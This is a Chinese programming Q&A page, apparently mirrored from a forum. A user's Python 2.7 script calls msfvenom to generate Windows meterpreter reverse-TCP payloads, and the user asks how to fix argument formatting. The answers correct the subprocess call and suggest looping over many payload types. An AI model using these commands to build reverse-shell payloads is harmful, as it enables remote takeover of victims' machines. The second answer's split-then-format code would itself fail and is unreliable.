在python2.7.12中传递命令行参数时将变量作为字符串追加

2024-04-20 12:09:53 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在尝试用python2.7.12创建Metasploit有效负载生成器。它利用msfvenom生成许多恶意有效负载。你知道吗

首先我使用%s%d格式操作符。你知道吗

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",   
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))

此错误返回

/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d 
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
    File "menu.py", line 74, in <module>
  call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'

我能够理解msfvenom无法解析我传递的参数,即迭代标志-i。接下来我看到了Python的一个错误TypeError。你知道吗

在进行了一些研究之后,我决定使用.format(),因为

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",   
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,  
lport, encode, iteration, formatop, payname, formatop)

它回来了

AttributeError: 'int' object has no attribute 'format'

我该怎么办?也有任何方法,我可以优化我的程序,而不是复制和粘贴同一行,并改变有效负载类型为15个选项?你知道吗


Tags: windowscalltcpencodereversestriterationmeterpreter
2条回答

不能对call(...)的结果使用format。您应该格式化每个组件:

with open("{}.{}".format(payname, format), 'w') as outfile:
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(encode), "-i", str(iteration), "-f", str(format)], stdout=outfile)

请注意,重定向被显式打开的文件替换,因为subprocess.call不会将其传递给shell,除非启用不安全的shell=True参数。你知道吗

用不同的有效负载多次重复这个过程很容易:用有效负载创建一个数组,然后将此代码放入一个循环中(或者更清楚地说,一次用一个有效负载调用一个函数)。你知道吗

一个很好的技巧是在命令中使用split来创建传递给call的列表,这也会使变量替换更干净:

call("msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -e {2} -i {3} -f {4} > {5}.{6}"
     .split().format(lhost,  lport, encode, iteration, formatop, payname, formatop))

相关问题 更多 >